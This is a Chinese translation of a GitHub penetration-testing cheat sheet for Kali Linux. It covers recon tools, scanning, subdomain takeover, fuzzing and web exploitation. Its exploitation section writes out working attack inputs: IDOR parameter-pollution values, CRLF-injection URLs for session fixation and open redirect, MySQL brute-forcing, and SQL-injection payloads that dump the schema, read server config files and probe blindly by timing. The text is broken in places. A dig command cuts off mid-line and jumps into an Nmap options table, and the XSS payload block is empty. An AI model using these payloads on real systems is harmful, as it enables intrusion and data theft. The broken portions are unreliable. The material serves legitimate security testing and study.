ivan-sincek/penetration-testing-cheat-sheet
GitHub: ivan-sincek/penetration-testing-cheat-sheet
基于 Kali Linux 环境的全流程渗透测试速查手册,涵盖信息收集、漏洞扫描、利用及后渗透的详细命令与实战技巧。
Stars: 794 | Forks: 158
# 渗透测试速查表
这更多是我自己的一份检查清单。可能包含一些有用的技巧和提示。
我已经在我的项目 [ivan-sincek/auto-recon](https://github.com/ivan-sincek/auto-recon) 中自动化了这个速查表中的一些任务。Docker 镜像即将推出。
所有内容均在 Kali Linux v2024.2 (64-bit) 上进行了测试。
如需任何工具的帮助,请编写 ` [-h | -hh | --help]` 或 `man `。
有时 `-h` 可能会被误认为是主机或其他选项。如果是这种情况,请改用 `-hh` 或 `--help`,或者用 `man` 阅读手册。
有些工具执行的任务相似,但得到的结果略有不同。请尽可能运行所有工具。许多工具是互补的!
请记住,如果 URL 中未指定协议或端口号,即如果您只指定 `somesite.com`,某些工具将默认为 HTTP 协议和端口 80,即 `http://somesite.com:80`。
如果您还没有读过 [OWASP Web Security Testing Guide](https://github.com/OWASP/wstg),请阅读。检查清单可以在 [这里](https://github.com/OWASP/wstg/tree/master/checklists) 下载。
强烈推荐阅读 [Common Security Issues in Financially-Orientated Web](https://soroush.me/downloadable/common-security-issues-in-financially-orientated-web-applications.pdf)。
强烈推荐做 [PortSwigger Web Security Academy](https://portswigger.net/web-security/all-labs),非常被低估且超级便宜。
您在编写报告时应使用的网站:
* [cwe.mitre.org/data](https://cwe.mitre.org/data)
* [owasp.org/projects](https://owasp.org/projects)
* [owasp.org/www-project-top-ten](https://owasp.org/www-project-top-ten)
* [cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org/Glossary.html)
* [first.org/cvss/calculator/4.0](https://www.first.org/cvss/calculator/4.0)
* [bugcrowd.com/vulnerability-rating-taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy)
* [nvd.nist.gov/ncp/repository](https://nvd.nist.gov/ncp/repository)
* [attack.mitre.org](https://attack.mitre.org)
我的其他速查表:
* [Android Testing Cheat Sheet](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet)
* [iOS Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet)
* [WiFi Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet)
## 目录
**0. [安装工具和设置](#0-install-tools-and-setup)**
* [API Keys](#api-keys)
* [User-Agents](#user-agents)
* [DNS Resolvers](#dns-resolvers)
* [ProxyChains-NG](#proxychains-ng)
**1. [信息收集](#1-reconnaissance)**
* [实用网站](#11-useful-websites)
* [Dmitry](#dmitry)
* [theHarvester](#theharvester)
* [FOCA](#foca-fingerprinting-organizations-with-collected-archives)
* [Sublist3r](#sublist3r)
* [assetfinder](#assetfinder)
* [Subfinder](#subfinder)
* [Amass](#amass)
* [dig](#dig)
* [Fierce](#fierce)
* [DNSRecon](#dnsrecon)
* [host](#host)
* [WHOIS](#whois)
* [ASNmap](#asnmap)
* [httpx](#httpx)
* [gau](#gau)
* [urlhunter](#urlhunter)
* [Google Dorks](#google-dorks)
* [Chad](#chad)
* [PhoneInfoga](#phoneinfoga)
* [git-dumper](#git-dumper)
* [TruffleHog](#trufflehog)
* [File Scraper](#file-scraper)
* [katana](#katana)
* [Scrapy Scraper](#scrapy-scraper)
* [目录模糊测试](#directory-fuzzing)
* [DirBuster](#dirbuster)
* [feroxbuster](#feroxbuster)
* [snallygaster](#snallygaster)
* [IIS Tilde Short name Scanning](#iis-tilde-short-name-scanning)
* [WhatWeb](#whatweb)
* [Parsero](#parsero)
* [EyeWitness](#eyewitness)
* [字典](#wordlists)
**2. [扫描/枚举](#2-scanningenumeration)**
* [实用网站](#21-useful-websites)
* [Nmap](#nmap)
* [testssl.sh](#testsslsh)
* [OpenSSL](#openssl)
* [keytool](#keytool)
* [uncover](#uncover)
**3. [漏洞评估/利用](#3-vulnerability-assesmentexploiting)**
* [实用网站](#31-useful-websites)
* [Collaborator Servers](#collaborator-servers)
* [Subdomain Takeover](#subdomain-takeover)
* [Subzy](#subzy)
* [subjack](#subjack)
* [绕过 401 和 403](#bypassing-the-401-and-403)
* [Nikto](#nikto)
* [WPScan](#wpscan)
* [Nuclei](#Nuclei)
* [Arjun](#arjun)
* [WFUZZ](#wfuzz)
* [Insecure Direct Object Reference (IDOR)](#insecure-direct-object-reference-idor)
* [HTTP Response Splitting](#http-response-splitting)
* [Cross-Site Scripting \(XSS\)](#cross-site-scripting-xss)
* [SQL Injection](#sql-injection)
* [sqlmap](#sqlmap)
* [dotdotpwn](#dotdotpwn)
* [Web Shells](#web-shells)
* [使用 Python 发送 Payload](#send-a-payload-with-python)
**4. [后渗透](#4-post-exploitation)**
* [实用网站](#41-useful-websites)
* [为 Windows OS 生成反向 Shell Payload](#generate-a-reverse-shell-payload-for-windows-os)
* [PowerShell 编码命令](#powershell-encoded-command)
**5. [密码破解](#5-password-cracking)**
* [实用网站](#51-useful-websites)
* [crunch](#crunch)
* [hash-identifier](#hash-identifier)
* [Hashcat](#hashcat)
* [破解 JWT](#cracking-the-jwt)
* [Hydra](#hydra)
* [密码喷洒](#password-spraying)
**6. [社会工程学](#6-social-engineering)**
* [Drive-by Download](#drive-by-download)
* [钓鱼网站](#phishing-website)
**7. [杂项](#7-miscellaneous)**
* [实用网站](#71-useful-websites)
* [cURL](#curl)
* [Ncat](#ncat)
* [multi/handler](#multihandler)
* [ngrok](#ngrok)
* [附加参考](#additional-references)
## 0. 安装工具和设置
大多数工具可以使用 Linux 包管理器安装:
```
apt-get update && apt-get -y install sometool
```
更多信息请参阅 [kali.org/tools](https://www.kali.org/tools)。
有些 Python 工具需要手动下载并安装:
```
python3 setup.py install
```
或者,从 [PyPi](https://pypi.org) 安装:
```
pip3 install sometool
python3 -m pip install sometool
```
有些 Golang 工具需要手动下载并构建:
```
go build sometool.go
```
或者,直接安装:
```
go install -v github.com/user/sometool@latest
```
更多信息请参阅 [pkg.go.dev](https://pkg.go.dev)。
要设置 Golang,请运行:
```
apt-get -y install golang
echo "export GOROOT=/usr/lib/go" >> ~/.zshrc
echo "export GOPATH=$HOME/go" >> ~/.zshrc
echo "export PATH=$GOPATH/bin:$GOROOT/bin:$PATH" >> ~/.zshrc
source ~/.zshrc
```
如果您使用其他控制台,可能需要写入 `~/.bashrc` 等。
有些以二进制或 shell 脚本形式存在的工具,为了便于使用,可以移动到 `/usr/bin/` 目录:
```
mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometool
```
有些 Java 工具需要手动下载并使用 Java (JRE) 运行:
```
java -jar sometool.jar
```
### API 密钥
集成到您的工具中的有用 API 列表:
* [scrapeops.io](https://scrapeops.io) - 机器人安全的 User-Agents
* [shodan.io](https://developer.shodan.io) - IoT 搜索引擎等
* [censys.io](https://search.censys.io/api) - 域名查询等
* [github.com](https://github.com/settings/tokens) - 公共源代码仓库查询
* [virustotal.com](https://developers.virustotal.com/reference/overview) - 恶意软件数据库查询
* [cloud.projectdiscovery.io](https://cloud.projectdiscovery.io) - ProjectDiscovery 工具
### User-Agents
下载机器人安全的 User-Agents 列表,需要 [scrapeops.io](https://scrapeops.io) API key:
```
python3 -c 'import json, requests; open("./user_agents.txt", "w").write(("\n").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))'
```
### DNS 解析器
下载受信任的 DNS resolvers 列表,或从 [trickest/resolvers](https://github.com/trickest/resolvers) 手动下载:
```
python3 -c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)'
```
### ProxyChains-NG
如果 Google 或任何其他搜索引擎或服务阻止了您的工具,请使用 ProxyChains-NG 和 Tor 来绕过限制。
安装:
```
apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher
```
在 `/etc/proxychains4.conf` 中进行以下更改:
```
round_robin
chain_len = 1
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
```
确保注释掉除 `round_robin` 以外的任何链类型 - 例如,将 `strict_chain` 注释为 `# strict_chain`。
启动 Tor:
```
service tor start
```
然后,运行您想要的任何工具:
```
proxychains4 sometool
```
仅使用 Tor 可能是不够的,您需要向 `/etc/proxychains4.conf` 添加更多代理 \([1](https://geonode.com/free-proxy-list)\)\([2](https://proxyscrape.com/home)\);但是,很难找到尚未被列入黑名单的免费且稳定的代理。
下载免费代理列表:
```
curl -s 'https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc' -H 'Referer: https://proxylist.geonode.com/' | jq -r '.data[] | "\(.protocols[]) \(.ip) \(.port)"' > proxychains.txt
curl -s 'https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc' -H 'Referer: https://proxylist.geonode.com/' | jq -r '.data[] | "\(.protocols[])://\(.ip):\(.port)"' > proxies.txt
```
## 1. 信息收集
请记住,某些 \[旧版\] 网站可能只能通过特定的 Web 浏览器(如 MS Internet Explorer 或 MS Edge)访问。
请记住,某些网站可能缺少索引页,并且可能不会将您重定向到真正的主页。如果是这种情况,请尝试手动猜测主页的完整路径,使用 [wayback machine](https://archive.org) 或 [gau](#gau) 查找旧 URL,或尝试使用 [feroxbuster](#feroxbuster) 或 [DirBuster](#dirbuster) 进行目录模糊测试。
在 Internet 上搜索特定 Web 应用程序的默认/预定义路径和文件。将收集到的信息与 [Google Dorks](#google-dorks)、[Chad](#chad) 和 [httpx](#httpx) 结合使用,以在不同的 \[子\] 域上查找相同的路径和文件。对于不太常见的 Web 应用程序,请尝试查找并浏览源代码以获取默认/预定义路径和文件。
您可以在 [GitHub](https://github.com)、[GitLab](https://gitlab.com)、[Bitbucket](https://bitbucket.org)、[searchcode](https://searchcode.com) 等处找到应用程序的源代码。
使用 [TruffleHog](#trufflehog) 和 [File Scraper](#file-scraper) 在应用程序的源代码中搜索硬编码的敏感信息。不要忘记检查旧的 GitHub 提交中是否有旧但仍然有效的 API keys 或凭据。
检查 Web 控制台是否存在可能的错误。检查应用程序的源代码是否存在可能的注释。
**不要忘记通过 IP 地址访问 Web 服务器,因为您可能会发现服务器的默认欢迎页面或其他内容。**
在开始您的 OSINT 之前,请阅读什么是 [ASN](https://www.arin.net/resources/guide/asn) 和 [CIDR](https://aws.amazon.com/what-is/cidr)。
### 1.1 实用网站
* [whois.domaintools.com](https://whois.domaintools.com)
* [otx.alienvault.com](https://otx.alienvault.com) - 域名查询
* [reverseip.domaintools.com](https://reverseip.domaintools.com) - 基于 Web 的反向 IP 查询
* [lookup.icann.org](https://lookup.icann.org)
* [sitereport.netcraft.com](https://sitereport.netcraft.com)
* [searchdns.netcraft.com](https://searchdns.netcraft.com) - 基于 Web 的 DNS 查询
* [search.censys.io](https://search.censys.io) - 域名查询等
* [crt.sh](https://crt.sh) - 证书指纹识别
* [commoncrawl.org](https://commoncrawl.org/get-started) - Web 爬取转储
* [opendata.rapid7.com](https://opendata.rapid7.com) - 扫描转储
* [searchcode.com](https://searchcode.com)
* [virustotal.com](https://www.virustotal.com/gui/home/search) - 恶意软件数据库查询
* [haveibeenpwned.com](https://haveibeenpwned.com)
* [intelx.io](https://intelx.io) - 数据库泄露
* [search.wikileaks.org](https://search.wikileaks.org)
* [archive.org](https://archive.org) - wayback machine
* [pgp.circl.lu](https://pgp.circl.lu) - OpenPG 密钥服务器
* [shodan.io](https://www.shodan.io) - IoT 搜索引擎
* [sherlockeye.io](https://sherlockeye.io) - 账户查询
* [whoisds.com](https://www.whoisds.com/newly-registered-domains) - 新注册域名
* [radar.cloudflare.com](https://radar.cloudflare.com) - 网站查询等
### Dmitry
收集信息:
```
dmitry -wines -o dmitry_results.txt somedomain.com
```
已弃用。Netcraft 搜索不起作用。
### theHarvester
收集信息:
```
theHarvester -f theharvester_results.json -b baidu,certspotter,chaos,commoncrawl,crtsh,duckduckgo,gitlab,hackertarget,hudsonrock,otx,rapiddns,robtex,subdomaincenter,subdomainfinderc99,thc,threatcrowd,urlscan,waybackarchive,yahoo -l 500 -d somedomain.com
```
该工具经常更改搜索引擎,因此,在阅读本文时,其中一些可能不起作用。
有时输出文件可能默认为 `/usr/lib/python3/dist-packages/theHarvester/` 目录。
从结果中提取子域:
```
jq '.hosts[]' theharvester_results.json | sort -uf | tee -a subdomains.txt
```
从结果中提取 IP:
```
jq '.ips // empty | .[]' theharvester_results.json | sort -uf | tee -a ips.txt
jq '.hosts // empty | .[] | select(contains(":")) | split(":")[1]' theharvester_results.json | sort -uf | tee -a ips.txt
```
从结果中提取子域:
```
jq '.hosts // empty | .[] | select(contains(":") | not)' theharvester_results.json | sort -uf | tee -a subdomains.txt
jq '.hosts // empty | .[] | select(contains(":")) | split(":")[0]' theharvester_results.json | sort -uf | tee -a subdomains.txt
```
从结果中提取电子邮件:
```
jq '.emails // empty | .[]' theharvester_results.json | sort -uf | tee -a emails.txt
```
从结果中提取 ASN:
```
jq '.asns // empty | .[]' theharvester_results.json | sort -uf | tee -a asns.txt
```
### FOCA (Fingerprinting Organizations with Collected Archives)
在文件中查找元数据和隐藏信息。
在 Windows 10 Enterprise OS (64-bit) 上测试。
最低要求:
* 下载并安装 [MS SQL Server 2014 Express](https://www.microsoft.com/en-us/download/details.aspx?id=42299) 或更高版本,
* 下载并安装 [MS .NET Framework 4.7.1 Runtime](https://dotnet.microsoft.com/download/dotnet-framework/net471) 或更高版本,
* 下载并安装 [MS Visual C++ 2010 (64-bit)](https://www.microsoft.com/en-us/download/developer-tools.aspx) 或更高版本,
* 下载并安装 [FOCA](https://github.com/ElevenPaths/FOCA/releases)。
GUI 非常直观。
### Sublist3r
使用 OSINT 收集子域:
```
sublist3r -o sublister_results.txt -d somedomain.com
```
### assetfinder
使用 OSINT 收集子域:
```
assetfinder --subs-only somedomain.com | grep -v '*' | tee assetfinder_results.txt
```
### Subfinder
安装:
```
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
```
使用 OSINT 收集子域:
```
subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com
```
**Subfinder 具有内置的 DNS resolvers。**
在 `/root/.config/subfinder/config.yaml` 文件中设置您的 API keys,如下所示:
```
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
github:
- GITHUB_API_KEY
virustotal:
- VIRUSTOTAL_API_KEY
```
### Amass
使用 OSINT 收集子域:
```
amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com
```
**Amass 具有内置的 DNS resolvers。**
从结果中提取 IP:
```
grep '(?<=(?:a_record|contains)\ \-\-\>\ )[^\s]+' amass_results.txt | sort -uf | tee -a ips.txt
```
从结果中提取子域:
```
grep '^[^\s]+(?=\ \(FQDN\))|(?<=ptr_record\ \-\-\>\ )[^\s]+' amass_results.txt | sort -uf | tee -a subdomains.txt
```
从结果中提取规范名称 (CNAMEs):
```
grep '(?<=(?:a_record|contains)\ \-\-\>\ )[^\s]+' amass_results.txt | sort -uf | tee -a cnames.txt
```
下面的 ASN 和 CIDR 扫描将需要很长时间才能完成。
**如果 ASN 属于云提供商,您将获得很多 CIDRs / IPs,这可能并不完全在您的范围内!**
从 ASN 收集子域:
```
amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337
```
从 CIDR 收集子域:
```
amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24
```
### dig
获取名称服务器:
```
dig +noall +answer -t NS somedomain.com
```
获取邮件交换服务器:
```
dig +noall +answer -t MX somedomain.com
```
查询名称服务器:
```
dig +noall +answer -t ANY somedomain.com @ns.somedomain.com
```
从名称服务器获取区域文件:
```
dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com
```
反向 IP 查询:
```
dig +noall +answer -x 192.168.8.5
```
\[Subdomain Takeover\] 检查子域是否已失效,查找 `NXDOMAIN`、`SERVFAIL` 或 `REFUSED` 状态码:
```
for subdomain in $(cat subdomains.txt); do res=$(dig "${subdomain}" -t A +noall +comments +timeout=3 | grep -Po '(?<=status\:\ )[^\s]+(?
个最常见端口 |
| -sV | 探测开放端口以确定服务/版本信息 |
| -O | 启用 OS 检测 |
| -sC | 与 --script=default 相同 |
| --script | 脚本扫描(需要时间完成) |
| --script-args | 向脚本提供参数 |
| --script-help | 显示有关脚本的帮助 |
| -oN/-oX/-oG | 以正常、XML 和 Grepable 格式输出扫描 |
| -v | 提高详细级别(使用 -vv 或更多以获得更好的效果) |
| --reason | 显示端口处于特定状态的原因 |
| -A | 启用 OS 检测、版本检测、脚本扫描和 traceroute |
所有 Nmap 脚本都位于 `/usr/share/nmap/scripts/` 目录中。在 [这里](https://nmap.org/nsedoc) 阅读有关脚本的更多信息。
NSE 示例:
```
nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306
nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"'
nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
```
您可以在 [SecLists](#wordlists) 中找到 `rockyou.txt` 和 `subdomains-top1mil.txt` 字典。
我更喜欢使用 [Nuclei](#nuclei) 进行漏洞扫描。
### testssl.sh
安装:
```
apt-get update && apt-get -y install testssl.sh
```
测试 SSL/TLS 证书(例如,SSL/TLS 密码、协议等):
```
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
```
您也可以使用 testssl.sh 利用 SSL/TLS 漏洞。
### OpenSSL
测试 Web 服务器的 Heartbleed 漏洞:
```
for subdomain in $(cat subdomains_live.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}:443" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt
for subdomain in $(cat subdomains_live_short_https.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt
```
### keytool
获取 SSL/TLS 证书:
```
keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
```
使用 [uncover](#uncover) 与 Shodan 和 Censys SSL/TLS Dorks 查找更多范围内的子域。
### uncover
安装:
```
go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest
```
在 `/root/.config/uncover/provider-config.yaml` 中设置您的 API keys,如下所示:
```
shodan:
- SHODAN_API_KEY
censys:
- CENSYS_API_ID:CENSYS_API_SECRET
```
基于 SSL/TLS 证书主题通用名 (CN) 收集 IP:
```
uncover -json -o uncover_cert_shodan_results.json -l 100 -e shodan -q 'ssl.cert.subject.CN:"*.somedomain.com"'
uncover -json -o uncover_cert_censys_results.json -l 100 -e censys -q 'cert.parsed.subject.common_name:"*.somedomain.com"'
```
## 3. 漏洞评估/利用
始终尝试空会话登录,即无密码登录,或在 Internet 上搜索特定 Web 应用程序的默认凭据。
尝试操纵 cookies 或 JWT tokens 以获取访问权限或提升权限。注销时,始终检查是否有任何 cookies 或 JWT tokens 仍然有效。
始终检查 Web 浏览器的本地存储,尤其是在测试单页应用程序 (SPA) 时。
尝试转换,例如,将 HTTP POST 请求转换为 HTTP GET 请求,即转换为查询字符串,看看服务器会如何反应。
在 Web 浏览器中关闭 JavaScript,并再次检查 Web 应用程序的行为。
在移动设备上检查 Web 应用程序的行为,因为某些功能可能工作方式不同。尝试欺骗您的 User-Agent 或尝试访问 `m.somesite.com`。
如果您想自动化您的代码注入测试,请查看 [字典](#wordlists) 子部分以获取代码注入字典。一些字典还包括混淆的代码注入。
如果您看到任何金额或数量,请尝试使用 [danielmiessler/SecLists/tree/master/Fuzzing/Amounts](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/Amounts) 字典,因为它可能会导致意外行为、错误,甚至绕过最小和最大边界。
**不要忘记清理现场。移除所有创建的工件,包括恶意软件、漏洞利用程序、工具、脚本等,并在完成测试后从目标主机还原所有设置和更改。**
### 3.1 实用网站
* [cvedetails.com](https://www.cvedetails.com)
* [exploit-db.com](https://www.exploit-db.com)
* [cxsecurity.com](https://cxsecurity.com/wlb)
* [hakluke/weaponised-XSS-payloads](https://github.com/hakluke/weaponised-XSS-payloads)
* [namecheap.com](https://www.namecheap.com) - 廉价购买域名
* [streaak/keyhacks](https://github.com/streaak/keyhacks) - 验证 API keys
* [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
* [jwt.io](https://jwt.io)
* [portswigger.net/web-security](https://portswigger.net/web-security)
* [bigiamchallenge.com](https://bigiamchallenge.com) - 不错的 AWS CTF
### Collaborator 服务器
在尝试利用开放重定向、盲跨站脚本 (XSS)、DNS 和 HTTP 交互等时使用。
* [interactsh.com](https://app.interactsh.com)
* [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator)
* [canarytokens.org](https://canarytokens.org/generate)
* [webhook.site](https://webhook.site)
### 子域名接管
为指定目标收集尽可能多的信息,请参阅 [1. 信息收集](#1-reconnaissance)。
使用 [WHOIS](#whois) 收集组织名称,使用 [host](#host) 收集规范名称。
您可以使用 [dig](#dig) 再次检查子域是否已失效,或使用 [httpx](#httpx) 检查是否存活。
在 [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) 检查找到的子域的托管提供商是否容易受到子域接管的。归功于作者!
最大的云服务提供商:
* [aws.amazon.com](https://aws.amazon.com)
* [azure.microsoft.com](https://azure.microsoft.com)
* [cloud.google.com](https://cloud.google.com)
* [wordpress.com](https://wordpress.com)
* [shopify.com](https://www.shopify.com)
### Subzy
安装:
```
go install -v github.com/lukasikic/subzy@latest
```
检查子域接管:
```
subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt
```
### subjack
安装:
```
go install -v github.com/haccer/subjack@latest
```
检查子域接管:
```
subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt
```
### 绕过 401 和 403
在我的项目 [ivan-sincek/forbidden](https://github.com/ivan-sincek/forbidden) 中了解如何绕过 4xx HTTP 响应状态码。
### Nikto
扫描 Web 服务器:
```
nikto -output nikto_results.txt -h somesite.com -p 80
```
### WPScan
扫描 WordPress 网站:
```
wpscan -o wpscan_results.txt --url somesite.com
```
### Nuclei
安装和更新:
```
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -ut
```
漏洞扫描,所有模板:
```
nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt
cat nuclei_results.txt | grep -Po '(?<=\]\ ).+' | sort -uf > nuclei_sorted_results.txt
```
仅子域接管:
```
nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt
```
### Arjun
发现请求参数:
```
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt
```
### WFUZZ
模糊测试目录:
```
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
```
模糊测试参数值:
```
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"someparam\": \"WFUZZ\"}" -w somewordlist.txt
```
模糊测试参数:
```
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{\"WFUZZ\": \"somevalue\"}" -w somewordlist.txt
```
附加示例,内部 SSRF 模糊测试:
```
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
```
| 选项 | 描述 |
| --- | --- |
| -f | 将结果存储在输出文件中 |
| -t | 指定并发连接数(默认为 10) |
| -s | 指定请求之间的时间延迟(默认为 0) |
| -u | 指定请求的 URL |
| -w | 指定字典文件 |
| -X | 指定请求的 HTTP 方法,即 HEAD 或 FUZZ |
| -b | 指定请求的 cookie |
| -d | 使用 post 数据 |
| -H | 使用 header |
| --hc/--hl/--hw/--hh | 隐藏具有指定代码/行/字/字符的响应 |
| --sc/--sl/--sw/--sh| 显示具有指定代码/行/字/字符的响应 |
| --ss/--hs| 显示/隐藏内容中具有指定正则表达式的响应 |
### 不安全的直接对象引用 (IDOR)
首先,尝试简单地将一个值更改为另一个值,例如,将 `victim@gmail.com` 更改为 `hacker@gmail.com`,将某些 ID 从 `1` 更改为 `2` 等。
较小编号的 ID 可能与某些较高权限的账户或角色相关。
其次,尝试参数污染:
```
"email":"hacker@gmail.com,victim@gmail.com"
"email":"hacker@gmail.com victim@gmail.com"
"email":"hacker@gmail.com","email":"victim@gmail.com"
"email":"victim@gmail.com,hacker@gmail.com"
"email":"victim@gmail.com hacker@gmail.com"
"email":"victim@gmail.com","email":"hacker@gmail.com"
"email":("hacker@gmail.com","victim@gmail.com")
"email":["hacker@gmail.com","victim@gmail.com"]
"email":{"hacker@gmail.com","victim@gmail.com"}
"email":("victim@gmail.com","hacker@gmail.com")
"email":["victim@gmail.com","hacker@gmail.com"]
"email":{"victim@gmail.com","hacker@gmail.com"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
```
要生成上述输出,请运行 [param_pollution.py](https://github.com/ivan-sincek/penetration-testing-cheat-sheet/blob/master/scripts/param_pollution.py):
```
python3 param_pollution.py -n email -i victim@gmail.com -t hacker@gmail.com
```
### HTTP 响应拆分
也称为 CRLF 注入。CRLF 指的是回车 (`ASCII 13`, `\r`) 和换行 (`ASCII 10`, `\n`)。
编码后,`\r` 指的是 `%0D`,`\n` 指的是 `%0A`。
固定会话 cookie:
```
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
```
开放重定向:
```
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
```
会话固定和开放重定向是与 HTTP 响应拆分结合使用的多种技术之一。在 Internet 上搜索更多技术。
### 跨站脚本攻击 (XSS)
简单的跨站脚本 (XSS) payloads:
```
```
在 [Pastebin](https://pastebin.com) 上托管 JavaScript 将不起作用,因为 Pastebin 始终返回 `text/plain` 内容类型。
在我的项目 [ivan-sincek/xss-catcher](https://github.com/ivan-sincek/xss-catcher) 中了解有关反射型和存储型跨站脚本 (XSS) 攻击以及跨站请求伪造 (XSRF/CSRF) 攻击的更多信息。
嵌入了 XSS 的有效 RFC 电子邮件:
```
user+()@somedomain.com
user@somedomain().com
""@somedomain.com
```
### SQL 注入
**以下 payloads 在 MySQL 数据库上进行了测试。请注意,MySQL 需要在注释符号和下一个字符之间有一个空白字符。**
如果您需要对空白字符进行 URL 编码,请改用 `%20` 或 `+`。
尝试通过注入单引号、反斜杠、双连字符、正斜杠或句点来产生数据库错误。
**始终确保正确关闭周围的代码。**
阅读这篇 OWASP [文章](https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF) 以了解如何绕过 WAF。
基于布尔的 SQLi:
```
' OR 1=1--
' OR 1=2--
```
基于联合的 SQLi:
```
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4--
' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns--
' UNION SELECT 1,load_file('..\\..\\apache\\conf\\httpd.conf'),3,4--
```
如果使用例如 `1,2,3,4` 不起作用,请尝试分别使用 `NULL,NULL,NULL,NULL`。
仅当您能够使用同一通道发起攻击并收集结果时,才使用基于联合的 SQLi。
目标是确定 SQL 查询中列的确切数量,并找出哪些列会回显给用户。
确定列的确切数量的另一种方法是使用例如 `' ORDER BY 1-- `,其中 `1` 是用于排序的列号 - 每次尝试时将其递增一。
基于时间的 SQLi:
```
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN 'root@127.0.0.1' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
